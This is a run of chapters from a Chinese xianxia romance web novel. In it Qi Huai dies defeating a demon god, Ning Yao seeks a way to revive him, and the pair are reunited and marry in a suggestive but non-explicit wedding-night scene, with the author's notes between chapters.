宁瑶的声音被狂乱的魔气搅得破碎,她徒劳地向前再一次伸手,指尖却什么都触碰不了。 魔气的灼烧,疼得宁瑶面色苍白,她咬紧牙关,几乎是失声呼喊:“祁淮,这和我们说好的不一样!” 阵法中央,祁淮回过头来。 宁瑶从未见过他那样的神情,柔软无害,带着浓浓地眷恋与不舍。 他微微弯了一下唇角,仿佛只是要出门一趟,而非立于毁灭的边缘。 他的笑静静映在宁瑶的眼中。 “杀阵既启,绝无反转。”祁淮哑然低语。 宁瑶的心脏一沉,她竟是毫无发现。 是什么时候?是了…… 是当祁淮将那只从不离身的四角铃铛,仔细系在她腰间的时候。 是当他垂着眼睫,轻声说“护身”的时候。 宁瑶泪珠滚落,眼前一片模糊。 夜烁卿的怒吼震得人耳膜生疼:“疯子!你这个疯子!竟敢在自己灵脉里布下杀阵!” 这位被迫屈居于凡胎肉身里的魔神,此刻尝到了棋差一招的恐慌。 祁淮以身为饵,以命为锁,将这绝杀之阵藏在体内,只待他放松的刹那,反客为主,掠夺他的全部魔气…… 哪怕此刻夜烁卿破除杀阵,也会因杀阵反噬导致两人灰飞魄散。 祁淮根本没给自己留退路。 却在逼他抉择! 是自封本源,陷入万年沉寂,以待那渺茫的重生之机,还是破除杀阵,最终彻底绞碎神魂,拼个魂飞魄散、身死道消。 “我是魔神,天地孕育的魔神!”夜烁卿目眦欲裂,齿缝间渗出血丝,磅礴的魔气不受控制地涌向祁淮。 他气急败坏拉扯开祁淮松懈的手,祁淮却恍若未闻。 只是抬手,一把短刃毫不犹豫地送入夜烁卿的心口,只为更快地抽取魔气。 夜烁卿咬牙切齿地蛊惑道:“疯子,这世间有魔无魔,与你有何关系?” “疯?呵,世间无魔,本与我无关。”他低笑一声,咳出一口血。他抬起眼,越过氤氲的魔息,锁定了宁瑶泛红的眼。 “我只要她活着。” “我只要,她活下去。”他一字一顿。 祁淮不爱世间,可若宁瑶因魔而死,那他便忍不住想要杀尽天下魔,哪怕这个魔会是自己。 宁瑶听罢,双眼通红,看着他唇边不断溢出的黑血,看着他因承受魔气而痛苦痉挛的躯体心如刀绞。 突然爆发的魔气周围的一切掀飞,宁瑶后背猛地撞上树干,喉间泛起腥甜。 她顾不上疼,踉跄爬起身,抬起眸视线死死盯着一道逐渐被黑雾吞噬的身影上。 巨大的恐惧攫住了宁瑶,喊道:“祁淮你敢死,你敢死我就敢改嫁,到时候找十八个貌美小郎君,天天在你坟头去唱歌……” 眼睁睁地看着夜烁卿认命般,被吞噬完所有的魔气,终于支撑不住,发出一声不甘的凄厉长吼后。 那具肉身躯壳便如被抽空般软倒,魔气散尽,生机逝去。 祁淮双眸通红,因躁动的魔气充斥全身,痛苦得压抑着声音。 意识即将被魔气吞噬、被杀阵搅碎的最后一刹,他奋力地抬起脸,朝着宁瑶的方向扬了扬嘴角。 “那也得先给我守孝三年。”他气若游丝,却执拗地把话说完,“三年……三年也是我的。” 三年足矣吗? 不够,远远不够! 祁淮自知贪心,贪心地想要她的十年,她的百年,想要她往后漫长的岁岁年年。 可没有时间了…… “我不给你守孝,祁淮你听到没,我不才不……”宁瑶哽咽,泣不成声。 周身躁动的魔气尽敛,又猛地向外溃散。 杀阵完成了最后的使命,世界在祁淮眼前陷入混沌。 意识即将被吞没,在祁淮模糊的视野里,清晰地映入了宁瑶满脸的泪痕。 那颗几乎停滞的心脏,微弱地、挣扎着,又搏动了一次。 他唇瓣动了动,想再最后对她说:“别哭。” 可再也没有一丝声音能传出去。 宁瑶跌跌撞撞地扑过去牵着他的手腕,他再无意识地软倒在她的怀里。 他微歪头,靠在她颈窝,铃音轻响。 叮铃叮铃…… 他好轻,好冷,落在颤抖的臂弯里,像一片羽毛。 宁瑶紧紧抱住,感受到祁淮最后一点温度流逝。 他闭着的眼缓缓滑落一滴泪,滚烫地,坠落在宁瑶拼命握着他的手背上。 “祁淮……”宁瑶埋在他冰冷的颈窝,失声痛哭。 作者有话说:[爆哭][爆哭][爆哭][爆哭][爆哭][爆哭][爆哭]ps:只怪夜烁卿话多,本来生擒他套话,一说宁瑶因魔而死…… 祁淮:不好意思,魔神死亡gogogo《 》 90-94 第91章 宁瑶眼睁睁看着祁淮在自己怀里化作微光散尽,指尖徒劳地收紧,“不要,祁淮,不要……” 她先是没了公主娘亲,如今连祁淮也留不住。 这世上真心爱她的人寥寥无几,她却偏偏弄丢了最重要的两个。 喉间血气翻涌,宁瑶猛地咳出一口鲜血,茫然看着身前因剧烈冲突而直至龟裂的阵眼上。 此地阵眼消失,阵法解开。 她编那么木然地坐着,仿佛魂魄随之消散,直到洛子晟的脚步由远及近。 “瑶瑶!”洛子晟手上押着夜烁卿手下赶来时,场面一片狼藉。 树木倒伏,空地中央,只剩她一个人,好不落魄。 她唇角带血,手臂手背上全是魔气灼烧后的痕迹。 宁瑶迟缓地抬起眼,目光空洞,穿透般落在洛子晟的脸上。 一样的眉眼,一样的轮廓。 可熟悉的眼睛下面,再也没有了她曾摩挲过无数遍的,那两颗小小的痣。 巨大的悲恸哽在胸口,压得宁瑶浑身僵硬,喘不上气来,连眼泪都已流不出来。 宁瑶眼眸里一点的光,也彻底熄灭。 洛子晟似乎对她说了许多话,但宁瑶一句也没听进去。 她是如何回到的天道宗,如何回禀得岳伍,记忆里只剩一片茫然的空白。 宗门从她、洛子晟和俘虏口中得知了一切,震动不已。 对魔族竟尚有残余蛰伏一事,顷刻间便引起轩然大波,彻查的命令便传了下去。 宁瑶回来浑身是伤,魔气反噬会逐渐侵蚀经脉,情况危殆。是丹峰荷钰长老耗损修为,日夜不休,才险险将她从鬼门关拉回。 “你若一心求死,对得起青月吗?你怎么对得起当年的她,拼上根基也要保你平安降世?” 荷钰面覆寒霜,手下却将无比珍贵的灵药毫不吝惜地用在宁瑶身上。 她与宁瑶的娘亲羽青月本是至交,当年却因好友执意产下腹中胎儿,伤了根本而决裂。 如今看着这张与故友相似的脸奄奄一息,恨铁不成钢的怒气便又涌了上来。 宁瑶在消沉与昏迷中徘徊了许久,直到被送入天道宗莲池,彻底拔除魔气后,才稍稍恢复了意识。 病愈后,她拒不见人。 小院外围是祁淮当年设下的禁制,她又在里面加固了几层。仿佛这样,哪天祁淮若回来,便能一眼认出天道宗内“家”的方向。 浑浑噩噩的日子不知过了多久,宁瑶的知觉才一点点复苏。 院中一草一木都有祁淮的影子。 宁瑶麻木的修炼,直到再一次稀疏平常的一样蹲下身,蜷在花圃前痛哭。 那些饲养蛊虫的花草,依旧静静地生长着,仿佛主人只是出门未归。 宁瑶擦干眼泪,她还没来得及和祁淮举办一场道侣的结契仪式,还没来得及再清清楚楚告诉他一次:我心悦你,心悦至极。 一个念头疯长起来。 她要复活祁淮。 她要去看所有留有他痕迹的地方,山海渊,苗疆,匆匆一眼也好。 “师尊,我要回苗疆。” 一个“回”字,岳伍便得知她的想法,并未阻拦。 宁瑶眼中那种决绝,像极了当年羽青月,执意要保住腹中孩儿的模样。 “洛子晟已领罚五十鞭,废去全身修为,因将功折罪,判于思过崖底地牢禁闭百年,如此可稍安?” “嗯。”宁瑶如行尸走肉般点了点头,起身行礼告辞。 岳伍望着她单薄又挺直的背影,长叹了一口气,轻声道:“孩子,若想做什么,你便去吧。” 宁瑶匆匆下山,依照四角铃铛的指引,寻回了祁淮养的黑蛇。 她治疗痊愈的时日,怪怪竟一直等在祁淮死去的那座荒山里。 山风穿过林隙,宁瑶蹲下身,摊开掌心。 “抱歉,我来迟了。” 怪怪仰头看了看那伸出的手,犹豫着没有攀上来。 它记得,宁瑶其实一直很怕蛇。 宁瑶收回手,没再坚持,眼底的光微微黯了黯。 “你原先是魔神座下的对吗?所以那时,祁淮与他,你不知该帮谁,可最后关头你选择了我们。” 宁瑶唇边泛起一丝很淡的苦笑,“我知道,帮与不帮,最后杀阵已出,无济于事。” 怪怪沉默地盘绕起来,猩红的信子,那双赤红的竖瞳里,掠过属于“人”的复杂情绪。 宁瑶凝视着它,一个荒诞却无比清晰的念头一闪而过。 “在幻境里……不,或许更早,在我的前世,我就见过你对不对?” 怪怪终于点了点头。 它似是很久未曾开口,嗓音嘶哑生涩地挤出来:“对。” 宁瑶下意识向前倾身,“那你既然能告诉我封印魔气的方法,那知不知道怎样才能让一个人起死回生?” 怪怪先是摇头,随即又迟疑着点了点头。 宁瑶的心像被一只无形的手攥住,失望尚未到底,又被它这一点头的希望托起。 “魔,或半魔,魂魄,未曾彻底散尽,便、便可重聚。”它说得极慢,异常吃力,“天机书,或许有法。” 说完,怪怪像是耗尽了力气,疲累地吐了吐信子,缓缓游动,盘绕在她的绣花鞋边。 天机书。 宁瑶默念着这三个字,深知寻找它无异于大海捞针。 可“祁淮或许有救”这个念头,将心底的惶惑与无力拔除了个干净。 魔神对他们的动向了如指掌,那么这天机书,最有可能被魔神藏在自认为最万无一失,也是最重要的地方。 宁瑶对外只宣称要远赴苗疆,其实暗中改道,潜入了夜家势力盘踞的城池——慕城。 她设法伪装成一个不起眼的粗使丫鬟,混进了这座奢华而森严的府邸。 如今的夜家,因少主是魔神之事正值内忧外患。 昔日仙门望族的荣光无存,反倒背上了“魔神复生”之名,在修仙界中处处抬不起头。 此刻府内气氛压抑,仆从更是行色匆匆。 然而宁瑶仍能在一些偏僻院落,察觉到隐秘的妖族气息。 看来夜烁卿手下那些影妖的来源,便是此处了。 宁瑶沉住气,一面小心探查,一面将夜家私下豢养妖族的证据悄然收集。 三个月后,寻了个时机,将这些证据传递给了天道宗的岳伍。 就在岳伍派人前来查探,引得夜府一阵忙乱遮掩之际,宁瑶终于确定了夜烁卿私人密室的可能方位。 夜黑风高,正是行事之时。 宁瑶一身利落黑衣,翻过高墙。 怪怪在她前方游弋,凭借着对气息与机关的敏锐感知,引她避开层层警戒。 终于,密室暗门在一不起眼的房间内滑开。 门后并非金银宝库,而是一排排书架。密密麻麻陈列着无数卷册,而且几乎都是禁术。 宁瑶步入其中,心下恍然:怪不得夜烁卿那般胸有成竹,底蕴皆在于此。 只可惜,他在从未正眼瞧过的凡胎手里栽个大跟头。 密室最深处,一卷空白的玉轴书简静静悬浮于微光之中。 宁瑶屏息,伸手将其取下。 书简触手温凉,其上原本空无一物,却在被她握住后,渐渐浮现出字迹。 起初是难以辨识,但很快符文竟如水流般变幻,变成了她能读懂的文字。 所记载的内容与原著剧情相似,尽管现实早已是面目全非。 这就是天机书了。 就在此时,天机书一道辨不清男女的声音传出:“天机运转,修正魔神偏离之轨,自有定数,亦存变数。宁瑶,你便是‘变数’。” 宁瑶心头剧震,一个大胆至极的猜想骤然清晰:或许从一开始,祁淮的踪迹就是天机书有意泄露,而她这个异数,便是被选入局中的关键棋子。 因为她早已不是那本书里寥寥几笔的恶毒女配“宁瑶”。 她是她自己,仅仅是宁瑶。 天机书似能读心,给出了肯定的回应:“无不道理。” 宁瑶无心深思天道玄机,握紧书简。 “既是天机书,那你一定知道起死回生之法。告诉我,怎样才能找回祁淮?无论他是魔是人,我都要带他回来。” 天机书凝成寥寥几字:“山海渊,苗疆。” “这是什么意思?”宁瑶蹙眉,紧盯着这没头没尾的提示。 天机书再无反应,光华内敛。 宁瑶不甘心地拍了拍它,它却纹丝不动,彻底给她“装死”了。 苗疆,山海渊…… 说不定等她到了地方,就能知道是怎么回事了。 * 宁瑶风雨无阻,日夜兼程,马不停蹄地重回了苗疆。 苗疆天色依旧晴朗,万里无云。 祁淮的院门虚掩着,院内似有一阵阵铃音轻响。 宁瑶却紧张地全身一僵,急急地深吸一口气,才微颤着手推开院门。 满院桂香扑面而来,树下立着一个人,他负手而立,桂花落在他发辫上。 银饰轻轻地响。 叮铃叮铃…… 宁瑶顿住脚,难以置信地揉了揉眼睛。 那人转过身,一双阴郁的眸子,视线此刻落在她身上却满是柔色。 宁瑶还在发愣,视线却先一步模糊了。 那人上前,不由分说地将她揽入怀中。 怀抱是实的,温度是热的。 居然,是温热的…… 宁瑶紧紧揪住他背后的衣衫,能感觉到他周身的气息与以往有些不同。 更沉凝,也更鲜活。 “祁淮,真的是你吗?”宁瑶声音带了颤,抬起眸看他,看清他眼下两颗分毫不差的小痣,心底总算稍安。 “是我。”祁淮低头看向她,阴郁的眼底……满是病态的欢愉,将她牢牢锁住。 宁瑶把脸埋在他胸口,憋了许久的委屈转瞬化作哽咽,她把泪都擦在他衣襟上。 “为什么让我现在才找到你?”她似抱怨更似撒娇。 祁淮收紧了手臂,下颌蹭过她的发顶。 “我是半魔之躯,魔身湮灭,幸得以女娲泥重塑肉身才得以归来。” “谁帮的你?”宁瑶抬起一双湿漉漉的眼。 祁淮垂眸,指尖拂过沾泪的脸颊,吻在她眼皮的动作轻柔,“是族长。” 宁瑶听完,对失而复得的祁淮又笑又哭,眼尾泛红的模样让他怜惜不已。 “那你怎么不早点来找我?”宁瑶捏紧他的衣襟。 他微歪头含笑着,“夫人,我今晨才醒。” “天机书的书灵亲至,将我唤醒。而重塑肉身本是极为漫长,短则百年,长则无尽。连族长都未曾料到,我能如此快醒来。” “我想,大概是因为夫人一直在念着我,寻遍了方法吧。” 宁瑶埋在他衣襟点了点头,眼泪全蹭在衣料上。 祁淮指尖轻扣在她后颈,无措地摩挲安抚,却不知该如何安慰宁瑶。 他心里一阵酥酥麻麻的痛,见不得她落下眼泪,落在唇上,滚烫好似七月的热雨。 他俯身啄吻,吻在湿漉漉的亮眸,沿着泪痕落下,又游移落在唇上,化作一个绵长的吻。 作者有话说:写完这最后一个转折点,离完结不远了。 本作者保证,接下来后面全是糖哈[摸头]ps:小宝们,快来收收预收和作收呀,下一本预收文等存够10w字就会开文[让我康康] 第92章 长睫轻轻一颤,漫长的一吻结束,两人缓缓分开,带出一线暖昧的银丝。 她睁着一双湿漉漉的眼,一眨不眨地瞧着他,忽然凑上去,在他脖颈上不轻不重地咬了一口。 脸上后知后觉地烧起来。 完了,刚才不争气的眼泪,那些脆弱,全让祁淮看了去。 眼泪这东西,流给谁看,便是把最柔软的肚皮袒露给了谁。 从前,宁瑶想都不敢想。 可现在她知道,有这么一个人,会把她所有情绪小心拾起,妥帖安放,再一点点拼回原状。 她咬了咬微肿的下唇,语气里带上一丝不易察觉的急切,将心底翻腾了无数遍的话直直掏了出来:“以后,不许再消失了。” 话音落下,她心头仍掠过一阵后怕。 祁淮垂眸,专注的目光将她牢牢锁住,周身清冽的草木气息将她温柔裹挟。 他喉结微动,声音低沉而郑重:“好,夫人。” 指腹贪恋地流连过她的眉眼,将一个珍而重之的吻印在她的额前。 眼底的狡黠微闪,划过一抹暗色。 ……即便重来千次万次,他的选择,依然不会变。 他只要她,好好活下去。 温热的唇瓣若即若离地蹭过她敏感的耳垂,带来一阵战栗:“夫人,你可信我?” “失而复得,惊喜太大,”宁瑶眼睫上还有泪意,忍不住弯起嘴角,故意哼了一声,“暂时还没缓过神,信不了一点。” 她尝过失去一人滋味,锥心刺骨,这辈子绝不想再试第三次。 祁淮低笑,用指腹轻轻拭去她颊边泪痕,微弯腰,手臂穿过她的膝弯,打横抱起。 宁瑶轻呼一声,下意识环住他的脖颈,埋进他怀里。 “夫人若还不信,不如先听听,我消失时都去了何处,见了何人,如何?” 他抱着她,不紧不慢地朝庭院中那一棵繁茂的桂花树走去。 “好啊。”宁瑶找了个舒服的姿势窝着,指尖把玩他小辫。 见她上钩,祁淮眼底笑意渐深。 “其实,我从未离开,”他顿了顿,“这些时日,我一直都在你身边。” “什么?”她愕然地抬头。 “女娲泥重塑肉身耗时颇久,我的意识,便暂时栖在了这铃铛里。” 他低头,“你每一次落泪,我都想替你擦掉。你想抱住我的时候,我也……很想用力回抱你。” 他声音渐低,将她在桂花树下的石凳上轻轻放下,自己挨着她坐下,让她依偎在肩头。 那些他看见却无法触及的画面里,是宁瑶躺在病榻上苍白的脸,是她醒来后恍惚的眼神,是为他闯入夜家时孤注一掷的身影。 每一幕刻在心上,反复凌迟。他心痛难忍,却只能跟随着宁瑶,无法言语,连拥抱都是奢望。 “那时我便想,若能归来,定要时时刻刻这样抱着你,再不松手。” 宁瑶靠着他的肩膀,“噗嗤”笑出声,点了点头:“行啊。”她伸手摸向腰间的铃铛,作势要解,“那现在,物归原主?” “不。”祁淮按住她的手,指尖与她的小指勾了勾,“就让它留在夫人身边,我也存了一份私心。” 他贴近她耳畔,“让它替我看着。从此苗疆上下都会知道,夫人身边带着我的信物,夫人属于我。” “可它不是你从不离身的东西吗?”宁瑶轻轻晃了晃哑铃,它未发出声响。 “四角铃,是苗疆圣子的凭证。” 他望入她眼底,“若我回不来,见它如见人,自会有人代我护你周全,让你余生安稳。” 宁瑶怔住,心头被重重一撞,半晌才回过神来:“这么重要的东西,就这样给了我?” “我的所有,不给夫人,还能给谁?”祁淮微歪头,答得理所当然。 看着她嘴角抑制不住扬起的笑意,祁淮眸色一暗,低头吻了上去。心中贪念怎么也压不下去,而后深入浅出撬开她唇齿,深深探索。 在她真诚的回应着里,祁淮被她反应取悦,一点点满足得沉溺。 一吻终了,她眸中水光潋滟,唇色嫣红。 祁淮心底恶劣的念头蠢蠢欲动,张口含住她早已红透的耳垂,不轻不重地磨了磨。 “夫人,”他声音哑得不成样子,“你再这样看着我,我恐怕,等不到道侣结契仪式那一天了。” 宁瑶猛地想起自己那些无人时的嘀咕碎念,脸颊瞬间爆红。 这家伙,居然真的什么都听见了! 眼见再逗下去,宁瑶那双眼非得瞪圆了,说不定要扑上来咬他一口。 祁淮眼底掠过一丝得逞的欢愉,机灵地转开话头,手却自然而然滑下去,寻到她的手指十指紧扣。 他晃了晃两人交握的手,“夫人,总不会出尔反尔,连个堂堂正正的结契仪式,都舍不得给为夫吧?” 宁瑶被他这副模样逗笑,用指尖轻轻捏他指腹,“这可得看我心情了。” 祁淮故作委屈无辜地眨了眨眼,眼下两颗泪痣平添诱惑力。 他牵引着交握得手按在胸口,急促加快的心跳无声诉说着情愫,微歪头压低嗓音,“夫人如何才能心情大好?” 宁瑶眸光流转,转在他俊美无俦的面容,那股未脱的少年气混合着此刻的专注,她心念一动,故意拖长了调,“这可不是一份糕点能解决的……” “那我就做一辈子。”祁淮笑着说完,起身去转而去做桂花糕。 宁瑶目光心满意足地追着他挺拔的背影,才仰起脸。头顶桂树簌簌,金黄的小花簇拥着落下,落在她发间、肩头,香气清甜。 脚边传来声响,通体黝黑的小蛇“怪怪”绕树游走一圈,用蛇尾轻轻拍了拍粗糙的树干,竖瞳看向宁瑶,嘶声道:“你,种的。” 宁瑶伸手接住一朵飘落的桂花,望向厨房方向,唇角弯起:“是啊。树在,人也在。” 这一刻,心底的害怕、惶恐和不安,全部消散了。 宁瑶踱到厨房门口,倚着门瞧着。 祁淮正低头处理食材,那双惯于操纵蛊虫、执握刀柄的修长手指,沾着雪白的米粉,一举一动着实赏心悦目。 她悄无声息地靠近,从身后环住他的腰。 苗疆服饰下,银链因她的动作发出清脆微响,劲瘦的腰身因动作露出一小截紧实的肌肤,被她不经意摩挲一下,祁淮浑身一颤。 宁瑶察觉他瞬间的僵硬,手指勾了勾他腰间的银链,叮当作响。 “怎么了他回眸,正撞上她仰起的脸上写满“我不是故意的”。 祁淮压下眸底暗色,喉结滚动,“无事。” 见他揉面的动作越来越慢,宁瑶心里嘀咕,莫非他不喜欢这样? 她刚想松手,却被他揽住腰肢,被带着转了个身,圈进他与石台之间。 她的腰轻抵着祁淮手心,他的手护在她腰后。祁淮低下头,指尖沾着一点晶亮的蜜,诱哄般低语:“张口。” 宁瑶疑惑,刚启唇,凉意便抹上了她的唇辦。 她下意识舔了舔,清甜化开:“好甜。” 抹了蜜的唇瓣泛着诱人的水泽。祁淮盯着,心底某种压抑的渴意,一寸寸点燃。 他先轻轻啄去那点蜜,随即深入,勾缠她的丁香,气息交融,湿润而绵长。 直到她气息微乱,他才不紧不慢地退开些许。 “这样也甜吗?”祁淮低声问,可耳垂竟染上了一层薄红。 宁瑶轻轻喘着气,眼中带着缺氧的湿润,下意识地点头,“……嗯。” 宁瑶慢半拍才反应过来祁淮刚才那算调情,大胆又直白。 热意不受控制地从耳根烧到脖颈,她嘀咕道:“你从哪儿学来的?” 作者有话说:[三花猫头]发现有几个小坑待填,甜甜日常会把小坑补齐~ps:小宝们,请大家大胆在评论区点番外,嘿嘿。 如果没有评论,我自行发挥(咬手帕[求你了]) 第93章 祁淮低笑,指尖不轻不重地摩挲她的唇瓣,“夫人不妨猜猜?” 宁瑶思索片刻,“难不成是无师自通?” 祁淮眼底掠过一丝得逞的微光,“夫人,猜对了一小半。” 他转身看着锅灶,语气自然地岔开话题,“糕点我来做,夫人去院子里休息吧。” 宁瑶凑近些瞧着他,“不对,你是不是有事瞒着我。” 祁淮掩去眸底暗笑,“哪敢瞒着夫人,给我一百个胆子也不敢。” 见他故作无辜眨了眨眼,宁瑶这才作罢,笑着退回庭院。 她在石凳坐下,取出那本天机书拍了拍。 “别装睡,你确认下祁淮现在的身体真的没问题了,对吗?” 天机书懒洋洋地抖了抖,浮现一个“嗯”字算是回应。 宁瑶心里那块石头这才彻底落了地,舒了口气。 * 宁瑶看得瞠目结舌,她是安排了人告知了宁子桉,没想到他和左长泽恨不得把奇珍异宝塞满小院子。 左长泽派来的人手脚麻利,很快便将竹楼小院布置得焕然一新。增修竹屋,整理了一片地修了池塘,种了睡莲,连院角的花草树木修剪得齐整。 背靠的山林还专门理出区域,给她种了玩,宁瑶自然是种下她爱的玉兰。 此次他们大婚不铺张,更不求什么奢靡,受邀前来的观礼宾客不多。 宁瑶请了同门的明御和云冉冉,岳伍也亲自到了。身为天道宗宗主,他的到来自然惊动了山海渊。 这是羽青月逝去多年后,岳伍首次重返苗疆。见到一身深绿长袍、精神矍铄的宁子桉时,他愣了一瞬。 两人到中年,亦如当年同门之情,对视片刻颔首轻笑,并未多言。 此刻是否真的释然?或许未必。 但是宁瑶的大喜之日,旧日的嫌隙便暂且搁下。 整个竹楼小院悬挂红丝绸、红灯笼,贴着精致的大红窗花,四周喜气洋洋。 宾客分列两侧,一侧来自苗疆,一侧来自修仙界,此刻再多的龃龉都先行放下。 天色渐暗,吉时已到,随之悠扬仙乐响起。 宁瑶与祁淮身着大红喜服,十指相扣,缓缓走入布置好的精致礼厅。 他们两人历经的太多,无人深知。 可彼此明白,此刻安稳的时日来之不易。 高堂之上,端坐着宁子桉与苗疆族长。 苗疆族长欣慰地点了点头。 宁子桉望着宁瑶,眼眶蓦地一热。他趁无人留意,迅速抬袖拭去眼角湿意。 那个曾张开小手讨抱的小团子,竟也要嫁作人妇了。 他掌心攥着一枚温润仙玉,上头刻的“月”字。 青月,你看见了吗?我们的女儿长大了,亭亭玉立,有勇有谋。她与夫君同心同德,一如我们当年……却定会比我们幸运。 求你保佑她,从此岁岁年年,平安喜乐。 宁瑶似有所感,抬眼望来。 两人视线相接,她唇角轻轻一扬。 不是全然释怀的笑,只是一种惯常又带些对自己眼下处境颇为满意笑颜。 祁淮敏锐地捕捉到她目光移转,立刻将她的手握得更紧。 他掌心早已汗湿,心跳如擂鼓。 即便他拥有两世记忆,此刻却像个初次动情的毛头小子,眼睛一眨不眨只顾贪恋地看着她的容颜。 终于……他成了她的名正言顺、唯一的道侣。 夫妻对拜时,祁淮仍牵着她的手不肯放。 直到宁瑶轻轻挠了挠他掌心,小声提醒,他才恋恋不舍地松开。 两人相对躬身,祁淮拜下去时,不经意抬了头想又看她,额头便轻轻撞在她的额头上。 宁瑶憋着嘴角,抬起眼眸。 四目相对,撞进一双幽深又喜悦眸子里,祁淮见她笑靥如花,移不开眼。 她忍不住,他也再绷不住,眉眼一弯,两个人就这么旁若无人,低低笑出声来。 宁瑶爱看祁淮笑。 平日他总穿深蓝,今日一身大红喜袍,衬得他面如冠玉。 更别说如今他这好看到雌雄莫辨的面容,介于少年和青年之间的气质,让她一时欢喜不已。 祁淮见她笑得开怀,偏执阴郁的眸色被她笑意感染,他目光流转落在她嫣红的唇上,再也挪不开。 三拜之礼已成,礼毕。 两人招呼着两侧宾客坐下,觥筹交错,响起道喜声不绝于耳。 “恭喜师姐。”云冉冉见到宁瑶幸福的笑靥,一时被感染地忍不住眼尾泛红,想要落泪。 “来喝一杯鲜榨的荔枝汁,液状如酒。”宁瑶将杯子递给他们这酒量差的两人。 一旁明御在接宁瑶敬来的酒,一饮而尽,第一时间察觉出云冉冉的不对状态,也倒了一声喜。 待宁瑶和祁淮走后,明御故作轻咳引起某人注意,小心揽过她的肩膀,却只敢轻拍一下。 他飞快地收了手,立马坐下,拿起筷子扒拉眼前的米饭,“不对艳羡,冉冉师妹以后也会有道侣。” 云冉冉听着明御师兄别扭的宽慰,一时怔然地看了他一眼。天色昏暗,却依旧能瞧见这人红透的耳根。 云冉冉掩唇低低笑出声,某人脸色反而越发红了。 天色暗透,喧闹声渐次散去。 待送走最后一位宾客,简单整理完一切,两人轻掩上房门。 方才眼底的醉意消散,彼此对视间,眼里皆是笑意。 “这结契的仪式结束了。” 宁瑶长长舒了口气,伸展有些僵硬的腰背,还没等她放下手臂,就被祁淮从身后拢进了怀里。 祁淮的手臂环得很紧,下颌抵在她发顶蹭了蹭:“夫人,现在的时间,是我一个人的。” “嗯。”宁瑶在他怀里转了个身,眉眼弯弯,指了指桌上,“礼还没完呢,我们还得喝合衾酒。” “好。” 手臂交缠,酒盏相碰,清冽的酒液一同入喉。 咽下的刹那,祁淮的眸色似乎深了些许。 他低下头,唇瓣亲昵地蹭了蹭她染上红晕的脸颊,抱着她不撒手,“夫人,我心悦你。往后岁月,岁岁有今朝,我想你一直笑。” 这一句他憋了太久,虽不是他第一次说,却不会是他的最后一次。 “嗯。”宁瑶笑着应答。 她捧起他脸颊,祁淮腰顺势倾身,她只要轻轻抬起脸,就正好凑上去亲他一口。 “夫君,我也欢喜你。” 祁淮眸色深了深,牵起她的手:“走,我带夫人去沐浴。” 左长泽为他们修了一间专门沐浴的灵池。 当褪下衣衫,温热的水漫过周身,疲惫似乎也随之洗去。 宁瑶正闭目养神,忽觉颈侧传来一点温软湿润的触感。 她缩了缩脖子,睁开眼。 祁淮正垂眸看着她,指尖若有似无地拂过她肩颈的肌肤,那双眼此刻显得专注而诱人似得危险。 他凑近很轻地吻了吻她的唇,将她唇上嫣红的口脂吞咽入腹。 水汽氤氲升腾,宁瑶的眉眼愈发显得动人。 祁淮的喉结上下滚动了一下,吻逐渐下移,带着灼人的温度,出其不意地在脖颈一侧轻轻一吮。 微刺酥麻的感觉让宁瑶轻吸了口气。 “祁淮……”她声音有些软,下意识往后躲了躲,背却抵上了微凉的池壁,“这、这还在水里……” “不怕。” 祁淮微歪着头,嘴角勾起一抹笑,手臂稳稳托住她的腰,将她揽近,“我扶着夫人。” 接下来的吻漫长而缱绻,带着不容拒绝的温柔力道。 直到将宁瑶妥帖擦干,抱回铺着大红锦被的床榻,垂下重重帘幔,他依旧没有松开手。 细碎的声响被掩在帐内。 忽的祁淮动作顿了顿,抬起眼,目光幽幽。 他声音压低,带着一丝蛊惑般的沙哑:“夫人,想要自己来吗?” 宁瑶心尖一颤,对上他那双仿佛深潭的眼睛,那里面的情绪浓得化不开。 她忽然想起祁淮的“本性”,危险惑人。 她手臂环上他的脖颈,借力凑上去,不轻不重地在他下唇咬了一下。她语带抱怨,却更像撒娇:“不想,我渴了。” 祁淮低低笑了一声,那笑声里满是得逞的欢愉,他蓦地腰身一压,宁瑶惊呼之时,他托抱着她,向床下行去。 宁瑶猝不及防,双腿缠着他的腰,整个人彻底挂在他身上。 她羞得把脸埋进祁淮肩窝,嘟囔道:“不给我点反应时间。” “夫人,要喝到水,就得慢慢来。” 他走得极慢,每一步都刻意延迟。 狡黠地,坏心眼的,恰似不经意地,去细细体会她的因为腾空却因依赖的每一分颤抖、紧绷。 她眼尾泛着别样的红,腰线绷紧,如一整块纤细无赘余的白玉,上面有几道暧昧极浅的红印。 祁淮余光瞟到铜镜这一幕,呼吸一滞,托抱的手转而颠了颠她的身形。 他速度加快的宁瑶屏息,而后呼吸瞬间沉了几分:“你又突然吓我。” 察觉她在咬唇,祁淮还有闲暇在她耳边轻声提醒,含笑的嗓音,气息灼热的很。 “夫人,抱稳了。” 宁瑶趴在他肩上,红着脸愤愤想:这家伙,绝对是故意的。 祁淮将她半托半抱地放在桌沿,拿起茶杯轻轻凑近她唇边。 宁瑶就着他的手小口喝完,干涩的喉咙总算润泽了些,她舔了舔嘴角:“还要。” “还想喝……”祁淮渴意横生,低笑一声,又斟了半杯,自己先含了一口。 宁瑶还没回过神来,他的气息便逼近了。温热的茶水被他吻着渡了过来,带着一点刻意的,缠人的缓意。 宁瑶微睁大眼,一口咽下,胸口微微起伏。 两人离得极近,宁瑶身上暖融融的馨香飘来,祁淮眼底的暗色倏地转深,欲念四起。 他扣住她的十指,压在桌面上,腰身欺近。 作者有话说:[三花猫头]今天朋友问这一本收藏赚不少吧,我挠头苦涩一笑ps:小作者在线卖萌求预收《诱骗黑莲花苗疆少年后》,求专栏收一个小小的收藏呀,写完这一本会火速存稿开文[橙心][黄心][绿心][青心][蓝心][紫心][红心] 第94章 宁瑶整个人笼罩在他的影子里。 “夫人。”祁淮嗓音有些哑,低唤时故意在她耳朵边上吐息。 每当祁淮这么唤她的时候,宁瑶总觉得祁淮的声音实在太好听。除了是音控福利外,耳朵还会泛起一阵阵酥麻的痒。 宁瑶忍不住想捏耳垂,但手指被他扣着,只能抬起眸看向他。 灵力顺着相贴的掌心流转,彼此的呼吸一点点交缠。 祁淮用指腹轻轻抹去她唇边湿润的水迹,动作慢得像在描摹什么旷世神作,一丝不苟又专注异常。 她唇瓣痒的翕动一下,就擦过他的指腹,痒的她看他磨蹭,宁瑶缓过气,忍不住不轻不重咬了他指尖一下。 “你就非得这样喂我喝水?”宁瑶含笑撇了撇嘴。 